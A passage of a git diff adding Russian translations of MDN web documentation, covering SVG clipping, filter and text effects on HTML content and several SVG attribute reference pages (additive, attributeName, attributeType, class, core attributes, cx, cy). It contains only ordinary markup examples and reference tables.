+<p>Это устанавливает область отсечения, образованную из круга и прямоугольника, присваивает ему ID <code>#clipping-path-1</code>, а затем ссылается на него в CSS. Путь клипа может быть назначен любому элементу с <code>target</code> классом.</p>
+
+<p>Вы можете вносить изменения в SVG в реальном времени, и они сразу же повлияют на рендеринг HTML. Например, вы можете изменить размер круга в указанном выше пути клипа:</p>
+
+<pre class="brush: js">function toggleRadius() {
+  var circle = document.getElementById("circle");
+  circle.r.baseVal.value = 0.40 - circle.r.baseVal.value;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Example_Clipping', 650, 200)}}</p>
+
+<h3 id="Пример_Фильтрация">Пример: Фильтрация</h3>
+
+<p>Это демонстрирует применение фильтра к содержимому HTML с помощью SVG. Он устанавливает несколько фильтров, которые применяются с CSS к трем элементам как в нормальном состоянии, так и при <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/:hover">hover</a> мыши.</p>
+
+<pre class="brush: html">&lt;p class="target" style="background: lime;"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+&lt;/p&gt;
+&lt;pre class="target"&gt;lorem&lt;/pre&gt;
+&lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing
+    &lt;b class="target"&gt;elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua.&lt;/b&gt;
+    Ut enim ad minim veniam.
+&lt;/p&gt;
+</pre>
+
+<p>Любой SVG-фильтр может применяться таким образом. Например, чтобы применить эффект размытия, вы можете использовать:</p>
+
+<pre class="brush: html">&lt;svg height="0"&gt;
+  &lt;filter id="f1"&gt;
+    &lt;feGaussianBlur stdDeviation="3"/&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<p>Вы также можете применить цветовую матрицу:</p>
+
+<pre class="brush: html">&lt;svg height="0"&gt;
+  &lt;filter id="f2"&gt;
+    &lt;feColorMatrix values="0.3333 0.3333 0.3333 0 0
+                           0.3333 0.3333 0.3333 0 0
+                           0.3333 0.3333 0.3333 0 0
+                           0      0      0      1 0"/&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>И ещё несколько фильтров:</p>
+
+<pre class="brush: html"><span>&lt;svg height="0"&gt;
+</span>  &lt;filter id="f3"&gt;
+    &lt;feConvolveMatrix filterRes="100 100" style="color-interpolation-filters:sRGB"
+      order="3" kernelMatrix="0 -1 0   -1 4 -1   0 -1 0" preserveAlpha="true"/&gt;
+  &lt;/filter&gt;
+  &lt;filter id="f4"&gt;
+    &lt;feSpecularLighting surfaceScale="5" specularConstant="1"
+                        specularExponent="10" lighting-color="white"&gt;
+      &lt;fePointLight x="-5000" y="-10000" z="20000"/&gt;
+    &lt;/feSpecularLighting&gt;
+  &lt;/filter&gt;
+  &lt;filter id="f5"&gt;
+    &lt;feColorMatrix values="1 0 0 0 0
+                           0 1 0 0 0
+                           0 0 1 0 0
+                           0 1 0 0 0" style="color-interpolation-filters:sRGB"/&gt;
+  &lt;/filter&gt;
+<span>&lt;/svg&gt;</span></pre>
+
+<p>Пять фильтров применяются с использованием следующего CSS:</p>
+
+<pre class="brush: css">p.target { filter:url(#f3); }
+p.target:hover { filter:url(#f5); }
+b.target { filter:url(#f1); }
+b.target:hover { filter:url(#f4); }
+pre.target { filter:url(#f2); }
+pre.target:hover { filter:url(#f3); }
+</pre>
+
+<p>{{EmbedLiveSample('Example_Filtering', 650, 200)}}</p>
+
+<p style="display: none;"><a class="button liveSample" href="/files/3329/filterdemo.xhtml">View this example live</a></p>
+
+<h3 id="Пример_размытый_текст">Пример: размытый текст</h3>
+
+<p>Чтобы размыть текст, браузеры, основанные на Webkit, имеют (префиксный) CSS-фильтр, называемый blur (см. Также <a href="/en-US/docs/Web/CSS/filter#blur%28%29_2">CSS filter</a>). Вы можете добиться такого же эффекта, используя фильтры SVG.</p>
+
+<pre class="brush: html">&lt;p class="blur"&gt;Time to clean my glasses&lt;/p&gt;
+&lt;svg height="0"&gt;
+  &lt;defs&gt;
+    &lt;filter id="wherearemyglasses" x="0" y="0"&gt;
+    &lt;feGaussianBlur in="SourceGraphic" stdDeviation="1"/&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>Вы можете применить SVG и CSS-фильтр в том же классе:</p>
+
+<pre class="brush: css">.blur { filter: url(#wherearemyglasses); }</pre>
+
+<p>{{ EmbedLiveSample('Example_Blurred_Text', 300, 100) }}</p>
+
+<p>Размытие является сложным вычислением, поэтому используйте его экономно, особенно в элементах, которые прокручиваются или анимируются.</p>
+
+<h3 id="Пример_текстовые_эффекты">Пример: текстовые эффекты</h3>
+
+<p>Эффекты SVG также могут использоваться для большей динамики и гибкого подхода к добавлению текста по сравнению с простым текстом HTML.</p>
+
+<p>Создавая текст с использованием элементов SVG в сочетании с HTML, достигаются различные текстовые эффекты. Можно повернуть текст:</p>
+
+<pre class="brush: html">&lt;svg height="60" width="200"&gt;
+  &lt;text x="0" y="15" fill="blue" transform="rotate(30 20,50)"&gt;Пример текста&lt;/text&gt;
+&lt;/svg&gt;
+</pre>
+
+<h2 id="Использование_внешних_ссылок">Использование внешних ссылок</h2>
+
+<p>SVG, используемый для отсечения, маскировки и фильтрации, может быть загружен из внешнего источника, если этот источник исходит из того же источника, что и документ HTML, к которому он применяется.</p>
+
+<p>For example, if your CSS is in a file namedit can look like this: <br>
+ Например, если ваш CSS находится в файле с именем <code>default.css</code>, он может выглядеть следующим образом:</p>
+
+<pre class="brush: css" id="line1">.target { clip-path: url(resources.svg#c1); }</pre>
+
+<p>Затем SVG импортируется из файла с именем <code>resources.svg</code>, используя путь клипа с ID <code>c1</code>. </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/SVG" title="SVG">SVG</a></li>
+ <li><a class="external" href="http://robert.ocallahan.org/2008/06/applying-svg-effects-to-html-content_04.html">Эффекты SVG для HTML-контента</a> (запись в блоге)</li>
+ <li><del><a class="external" href="/web-tech/2008/10/10/svg-external-document-references">SVG External Document References</a></del> (запись в блоге) (<a href="http://web.archive.org/web/20120512132948/https://developer.mozilla.org/web-tech/2008/10/10/svg-external-document-references/" title="Web Tech Blog » Blog Archive » SVG External Document References">[archive.org] Web Tech Blog »Архив блога» Ссылки на внешние документы SVG</a>) </li>
+</ul>
diff --git a/files/ru/web/svg/attribute/additive/index.html b/files/ru/web/svg/attribute/additive/index.html
new file mode 100644
index 0000000000..0e5666b2b5
--- /dev/null
+++ b/files/ru/web/svg/attribute/additive/index.html
@@ -0,0 +1,56 @@
+---
+title: additive
+slug: Web/SVG/Attribute/additive
+tags:
+  - SVG
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/additive
+---
+<p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p>
+
+<p>Этот атрибут определяет, является ли анимация аддитивной.</p>
+
+<p>Часто бывает полезно определить анимацию как смещение или Дельта для значения атрибута, а не как абсолютные значения. Этот атрибут указывает на анимацию, если их значения добавляются к исходному значению анимированного атрибута.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категории</th>
+   <td>Атрибут добавления анимации</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong title="this is the default value">replace</strong> | sum</td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативный документ</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/animate.html#AdditionAttributes" title="http://www.w3.org/TR/SVG/animate.html#AdditionAttributes">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>sum</dt>
+ <dd>Указывает, что анимация добавляется к базовому значению атрибута и других анимаций с меньшим приоритетом.</dd>
+ <dt>replace</dt>
+ <dd>Указывает, что анимация переопределит базовое значение атрибута и другие анимации с меньшим приоритетом. Это значение по умолчанию, однако на поведение также влияют атрибуты значений анимации {{ SVGAttr("by") }} и {{ SVGAttr("to") }}, как описано в <a class="external" href="http://www.w3.org/TR/2001/REC-smil-animation-20010904/#FromToByAndAdditive" title="http://www.w3.org/TR/2001/REC-smil-animation-20010904/#FromToByAndAdditive">SMIL Animation: How from, to and by attributes affect additive behavior</a>.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут использовать атрибут <code>additive</code></p>
+
+<ul>
+ <li>{{ SVGElement("animate") }}</li>
+ <li>{{ SVGElement("animateColor") }}</li>
+ <li>{{ SVGElement("animateMotion") }}</li>
+ <li>{{ SVGElement("animateTransform") }}</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/attributename/index.html b/files/ru/web/svg/attribute/attributename/index.html
new file mode 100644
index 0000000000..8a114bc8b2
--- /dev/null
+++ b/files/ru/web/svg/attribute/attributename/index.html
@@ -0,0 +1,85 @@
+---
+title: attributeName
+slug: Web/SVG/Attribute/attributeName
+tags:
+  - NeedsCompatTable
+  - SVG
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/attributeName
+---
+<div>{{SVGRef}}</div>
+
+<p>Атрибут <code><strong>attributeName</strong></code> задаёт имя свойства CSS или атрибута целевого элемента, которое будет изменено во время анимации.</p>
+
+<p>Четыре элемента используют данный артибут: {{SVGElement("animate")}}, {{SVGElement("animateColor")}}, {{SVGElement("animateTransform")}} и {{SVGElement("set")}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html, body, svg {
+  height: 100%;
+}</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;rect x="50" y="50" width="100" height="100"&gt;
+    &lt;animate attributeType="XML" attributeName="y" from="0" to="50"
+        dur="5s" repeatCount="indefinite"/&gt;
+  &lt;/rect&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample("topExample", "400", "250")}}</p>
+</div>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><code>&lt;name&gt;</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Значение по-умолчанию</th>
+   <td><em>None</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt><code>&lt;name&gt;</code></dt>
+ <dd>Это значение задаёт имя свойства CSS или атрибута целевого элемента, которое будет анимировано.</dd>
+</dl>
+
+<h2 id="Спецификиции">Спецификиции</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG Animations 2", "#AttributeNameAttribute", "attributeName")}}</td>
+   <td>{{Spec2("SVG Animations 2")}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "animate.html#AttributeNameAttribute", "attributeName")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/TR/2001/REC-smil-animation-20010904/#AccumulateAttribute">SMIL Animation specification</a></li>
+</ul>
diff --git a/files/ru/web/svg/attribute/attributetype/index.html b/files/ru/web/svg/attribute/attributetype/index.html
new file mode 100644
index 0000000000..64578f28b0
--- /dev/null
+++ b/files/ru/web/svg/attribute/attributetype/index.html
@@ -0,0 +1,59 @@
+---
+title: attributeType
+slug: Web/SVG/Attribute/attributeType
+tags:
+  - SVG
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/attributeType
+---
+<p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p>
+
+<p>Этот атрибут задает пространство имен, в котором определяются конечный атрибут и связанные с ним значения.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категория</th>
+   <td>Целевые атрибуты анимации</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td>CSS | XML | <strong title="this is the default value">auto</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативный документ</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/animate.html#AttributeTypeAttribute" title="http://www.w3.org/TR/SVG/animate.html#AttributeTypeAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Этот атрибут может принимать одно из следующих значений:</p>
+
+<dl>
+ <dt>CSS</dt>
+ <dd>Указывает на то, что значение параметра  {{ SVGAttr("attributeName") }}  является именем свойства CSS, определяемого как анимация.</dd>
+ <dt> </dt>
+ <dt>XML</dt>
+ <dd>Указывает, что значение параметра{{ SVGAttr("attributeName") }} является именем атрибута XML, определяемого как анимация в пространстве имен XML по умолчанию для целевого элемента.</dd>
+ <dt>auto</dt>
+ <dd>Реализация должна соответствовать {{ SVGAttr("attributeName") }} атрибуту целевого элемента. Агенты пользователя сначала посмотрят список свойств CSS для соответствующего имени свойства, а если нет, выполните поиск в пространстве имен XML по умолчанию для элемента.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут быть использованы с атрибутом <code>attributeType</code></p>
+
+<ul>
+ <li>{{ SVGElement("animate") }}</li>
+ <li>{{ SVGElement("animateColor") }}</li>
+ <li>{{ SVGElement("animateTransform") }}</li>
+ <li>{{ SVGElement("set") }}</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/class/index.html b/files/ru/web/svg/attribute/class/index.html
new file mode 100644
index 0000000000..622423f521
--- /dev/null
+++ b/files/ru/web/svg/attribute/class/index.html
@@ -0,0 +1,190 @@
+---
+title: class
+slug: Web/SVG/Attribute/class
+translation_of: Web/SVG/Attribute/class
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">Домашняя страница справочника по SVG аттрибутам</a></p>
+
+<p>Присвоение класса или набора классов элементу. Вы можете присовить одинаковые классы/наборы классов любому количеству элементов. Если вы указываете(присваиваете) несколько имён классов, они должны быть разделены символом "пробел".</p>
+
+<p>Класс элемента имеет 2 ключевые роли:</p>
+
+<ul>
+ <li>Селектор таблицы стилей, для использования когда автор желает стилизировать набор(несколько) элементов.</li>
+ <li>Для общих целей Броузера.</li>
+</ul>
+
+<p>Класс может быть использован для стилизации SVG содержимого используя CSS.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категория</th>
+   <td>None</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><a href="/en/SVG/Content_type#List-of-Ts" title="en/SVG/Content type#List-of-Ts">&lt;list-of-class-names&gt;</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Возможна анимация</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативный документ</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/styling.html#ClassAttribute" title="http://www.w3.org/TR/SVG/styling.html#ClassAttribute">SVG 1.1 (2nd Edition): The class attribute</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{ page("/en/SVG/Content_type","List-of-Ts") }}</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: html">&lt;html&gt;
+    &lt;body&gt;
+        &lt;svg width="120" height="220"
+            viewPort="0 0 120 120" version="1.1"
+            xmlns="http://www.w3.org/2000/svg"&gt;
+
+            &lt;style type="text/css" &gt;
+                &lt;![CDATA[
+                    rect.rectClass {
+                        stroke: #000066;
+                        fill:   #00cc00;
+                    }
+                    circle.circleClass {
+                        stroke: #006600;
+                        fill:   #cc0000;
+                    }
+                ]]&gt;
+            &lt;/style&gt;
+
+            &lt;rect class="rectClass" x="10" y="10" width="100" height="100"/&gt;
+            &lt;circle  class="circleClass"   cx="40" cy="50" r="26"/&gt;
+        &lt;/svg&gt;
+    &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>В следующих элементах допустимо использовать аттрибут <code>class</code></p>
+
+<p>:{{ SVGElement("a") }}</p>
+
+<div class="threecolumns">
+<ul>
+ <li>{{ SVGElement("altGlyph") }}</li>
+ <li>{{ SVGElement("circle") }}</li>
+ <li>{{ SVGElement("clipPath") }}</li>
+ <li>{{ SVGElement("defs") }}</li>
+ <li>{{ SVGElement("desc") }}</li>
+ <li>{{ SVGElement("ellipse") }}</li>
+ <li>{{ SVGElement("feBlend") }}</li>
+ <li>{{ SVGElement("feColorMatrix") }}</li>
+ <li>{{ SVGElement("feComponentTransfer") }}</li>
+ <li>{{ SVGElement("feComposite") }}</li>
+ <li>{{ SVGElement("feConvolveMatrix") }}</li>
+ <li>{{ SVGElement("feDiffuseLighting") }}</li>
+ <li>{{ SVGElement("feDisplacementMap") }}</li>
+ <li>{{ SVGElement("feFlood") }}</li>
+ <li>{{ SVGElement("feGaussianBlur") }}</li>
+ <li>{{ SVGElement("feImage") }}</li>
+ <li>{{ SVGElement("feMerge") }}</li>
+ <li>{{ SVGElement("feMorphology") }}</li>
+ <li>{{ SVGElement("feOffset") }}</li>
+ <li>{{ SVGElement("feSpecularLighting") }}</li>
+ <li>{{ SVGElement("feTile") }}</li>
+ <li>{{ SVGElement("feTurbulence") }}</li>
+ <li>{{ SVGElement("filter") }}</li>
+ <li>{{ SVGElement("font") }}</li>
+ <li>{{ SVGElement("foreignObject") }}</li>
+ <li>{{ SVGElement("g") }}</li>
+ <li>{{ SVGElement("glyph") }}</li>
+ <li>{{ SVGElement("glyphRef") }}</li>
+ <li>{{ SVGElement("image") }}</li>
+ <li>{{ SVGElement("line") }}</li>
+ <li>{{ SVGElement("linearGradient") }}</li>
+ <li>{{ SVGElement("marker") }}</li>
+ <li>{{ SVGElement("mask") }}</li>
+ <li>{{ SVGElement("missing-glyph") }}</li>
+ <li>{{ SVGElement("path") }}</li>
+ <li>{{ SVGElement("pattern") }}</li>
+ <li>{{ SVGElement("polygon") }}</li>
+ <li>{{ SVGElement("polyline") }}</li>
+ <li>{{ SVGElement("radialGradient") }}</li>
+ <li>{{ SVGElement("rect") }}</li>
+ <li>{{ SVGElement("stop") }}</li>
+ <li>{{ SVGElement("svg") }}</li>
+ <li>{{ SVGElement("switch") }}</li>
+ <li>{{ SVGElement("symbol") }}</li>
+ <li>{{ SVGElement("text") }}</li>
+ <li>{{ SVGElement("textPath") }}</li>
+ <li>{{ SVGElement("title") }}</li>
+ <li>{{ SVGElement("tref") }}</li>
+ <li>{{ SVGElement("tspan") }}</li>
+ <li>{{ SVGElement("use") }}</li>
+</ul>
+</div>
+
+<h2 id="Совместимость_с_броузерами">Совместимость с броузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Animation support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("5") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/ru/web/svg/attribute/core/index.html b/files/ru/web/svg/attribute/core/index.html
new file mode 100644
index 0000000000..4423aa5468
--- /dev/null
+++ b/files/ru/web/svg/attribute/core/index.html
@@ -0,0 +1,85 @@
+---
+title: Основные атрибуты SVG
+slug: Web/SVG/Attribute/Core
+tags:
+  - SVG
+translation_of: Web/SVG/Attribute/Core
+---
+<p>Основные атрибуты SVG — это все общие атрибуты, которые могут быть указаны в SVG элементах.</p>
+
+<div class="index">
+<ul>
+ <li><a href="#"><code>id</code></a></li>
+ <li><a href="#attr-lang"><code>lang</code></a></li>
+ <li><a href="#attr-tabindex"><code>tabindex</code></a></li>
+ <li><a href="#attr-xml:base"><code>xml:base</code></a></li>
+ <li><a href="#attr-xml:lang"><code>xml:lang</code></a></li>
+ <li><a href="#attr-xml:space"><code>xml:space</code></a></li>
+</ul>
+</div>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<dl>
+ <dt id="attr-id">{{SVGAttr('id')}}</dt>
+ <dd>Определяет идентификатор (ID), который должен быть уникальным во всем документе. Его цель — идентификация элемента при связывании (с использованием фрагмента идентификатора), написании скрипта или стилизации (с помощью CSS).<br>
+ <small><em>Значение</em>: Любое строковое значение ID; <em>Анимируемый</em>: <strong>Нет</strong></small></dd>
+ <dt id="attr-lang">{{SVGAttr('lang')}}</dt>
+ <dd>
+ <p>Участвует в определении языка элемента, языка, на котором написаны нередактируемые элементы, или языка, на котором должны быть написаны редактируемые элементы. Тэг содержит одно единственное значение записи в формате, определенном в <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">документе IETF "Tags for Identifying Languages (BCP47)"</a>.</p>
+
+ <div class="note">
+ <p>SVG2 предоставляет новые <code>lang</code> атрибуты. Если атрибуты <code>lang</code> и <code>xml:lang</code> используются вместе, то <code>xml:lang</code> имеет приоритет над <code>lang</code>.</p>
+ </div>
+
+ <p><small><em>Значение</em>: Любой валидный язык ID; <em>Анимируемый</em>: <strong>Нет</strong></small></p>
+ </dd>
+ <dt id="attr-tabindex">{{SVGAttr('tabindex')}}</dt>
+ <dd>Атрибут SVG <code>tabindex</code> позволяет контролировать, является ли элемент фокусируемым, и определять относительный порядок элемента для целей последовательной навигации фокуса.<br>
+ <small><em>Тип значения</em>: <a href="/docs/Web/SVG/Content_type#Integer">&lt;integer&gt;</a>; <em>Анимируемый</em>: <strong>Нет</strong></small></dd>
+ <dt id="attr-xml:base">{{SVGAttr('xml:base')}}</dt>
+ <dd>Указывает базовый IRI, отличный от базового IRI текущего документа.<br>
+ <small><em>Тип</em>: <a href="/docs/Web/SVG/Content_type#IRI">&lt;IRI&gt;</a>; <em>Анимируемый</em>: <strong>Нет</strong></small></dd>
+ <dt id="attr-xml:lang">{{SVGAttr('xml:lang')}}</dt>
+ <dd>
+ <p>Это универсальный атрибут, разрешенный во всех XML диалектах для разметки естественного человеческого языка, который содержит элемент. Он почти идентичен по использованию атрибута <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/lang">lang</a> в HTML, но в соответствии с документацией XML 1.0, данный атрибут не позволяет использовать нулевое (<code>null</code>) значение атрибута (<code>xml:lang=""</code>) для указания неизвестного языка. Вместо этого, используйте <code>xml:lang="und"</code>.</p>
+
+ <div class="note">
+ <p>SVG2 предоставляет новые <code>lang</code> атрибуты. Если атрибуты <code>lang</code> и <code>xml:lang</code> используются вместе, то <code>xml:lang</code> имеет приоритет над <code>lang</code>.</p>
+ </div>
+
+ <p><small><em>Значение</em>: Любой валидный язык ID; <em>Анимируемый</em>: <strong>Нет</strong></small></p>
+ </dd>
+ <dt id="attr-xml:space">{{SVGAttr('xml:space')}} {{deprecated_inline('svg2')}}</dt>
+ <dd>
+ <p>SVG поддерживает стандартный XML-атрибут <code>xml:space</code> для указания обработки символов пробела в пределах заданных {{ SVGElement("text") }} символов текущего элемента.</p>
+
+ <div class="note">
+ <p><strong>Примечание:</strong> Вместо атрибута <code>xml:space</code> следует использовать CSS свойство {{cssxref('white-space')}}.</p>
+ </div>
+
+ <p><small><em>Значение</em>: <code><strong>default</strong></code> | <code>preserve</code>; <em>Анимируемый</em>: <strong>Нет</strong></small></p>
+ </dd>
+</dl>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("svg.attributes.core")}}</p>
+
+<div id="gtx-anchor" style="position: absolute; left: 249.15px; top: 1694.6px; width: 92.1875px; height: 15.2001px;"></div>
+
+<div class="jfk-bubble gtx-bubble">
+<div class="jfk-bubble-content-id" id="bubble-32">
+<div id="gtx-host" style="max-width: 400px;"></div>
+</div>
+
+<div class="jfk-bubble-closebtn-id jfk-bubble-closebtn"></div>
+
+<div class="jfk-bubble-arrow-id jfk-bubble-arrow jfk-bubble-arrowdown" style="left: 26.5px;">
+<div class="jfk-bubble-arrowimplbefore"></div>
+
+<div class="jfk-bubble-arrowimplafter"></div>
+</div>
+</div>
diff --git a/files/ru/web/svg/attribute/cx/index.html b/files/ru/web/svg/attribute/cx/index.html
new file mode 100644
index 0000000000..6e7c22c089
--- /dev/null
+++ b/files/ru/web/svg/attribute/cx/index.html
@@ -0,0 +1,70 @@
+---
+title: cx
+slug: Web/SVG/Attribute/cx
+tags:
+  - SVG
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/cx
+---
+<p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p>
+
+<p>Для элементов {{ SVGElement("circle") }} и {{ SVGElement("ellipse") }} этот атрибут определяет координату центра элемента по оси x.  Если атрибут не определён, то эффект такой, как если бы было указано значение "0".</p>
+
+<p>Для элемента {{ SVGElement("radialGradient") }} этот атрибут определяет координату x набольшого(т.е. внешнего) круга в радиальном градиенте. Градиент будет нарисован так, чтобы значение градиента <strong>100%</strong> соответствовало периметру этого наибольшего(внешнего) круга. Если атрибут не определён, то эффект такой, как если бы было указано значение <strong>50%</strong>.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категории</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><a href="/en/SVG/Content_type#Coordinate" title="https://developer.mozilla.org/en/SVG/Content_type#Coordinate">&lt;coordinate&gt;</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативные документы (en)</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/shapes.html#CircleElementCXAttribute" title="http://www.w3.org/TR/SVG/shapes.html#CircleElementCXAttribute">SVG 1.1 (2nd Edition): The circle element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/shapes.html#EllipseElementCXAttribute" title="http://www.w3.org/TR/SVG/shapes.html#EllipseElementCXAttribute">SVG 1.1 (2nd Edition): The ellipse element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/pservers.html#RadialGradientElementCXAttribute" title="http://www.w3.org/TR/SVG/pservers.html#RadialGradientElementCXAttribute">SVG 1.1 (2nd Edition): The radialGradient element</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{ page("/ru/docs/Web/SVG/Content_type","Coordinate") }}</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: xml">  &lt;svg width="120" height="220"
+     viewBox="0 0 120 120" version="1.1"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+    &lt;style type="text/css" &gt;
+
+      &lt;![CDATA[
+       circle.circleClass {
+       stroke: #006600;
+       fill:   #cc0000;
+    }
+
+      ]]&gt;
+    &lt;/style&gt;
+     &lt;circle  class="circleClass"   cx="40" cy="50" r="26"/&gt;
+&lt;/svg&gt;
+</pre>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут использовать атрибут <code>cx</code></p>
+
+<ul>
+ <li>{{ SVGElement("circle") }}</li>
+ <li>{{ SVGElement("ellipse") }}</li>
+ <li>{{ SVGElement("radialGradient") }}</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/cy/index.html b/files/ru/web/svg/attribute/cy/index.html
new file mode 100644
index 0000000000..d4b51c5f9b
--- /dev/null
+++ b/files/ru/web/svg/attribute/cy/index.html
@@ -0,0 +1,69 @@
+---
+title: cy
+slug: Web/SVG/Attribute/cy
+tags:
+  - SVG
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/cy
+---
+<p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p>
+
+<p>Для элементов {{ SVGElement("circle") }} и {{ SVGElement("ellipse") }} этот атрибут определяет координату центра элемента по оси y.  Если атрибут не определён, то эффект такой, как если бы было указано значение "0".</p>
+
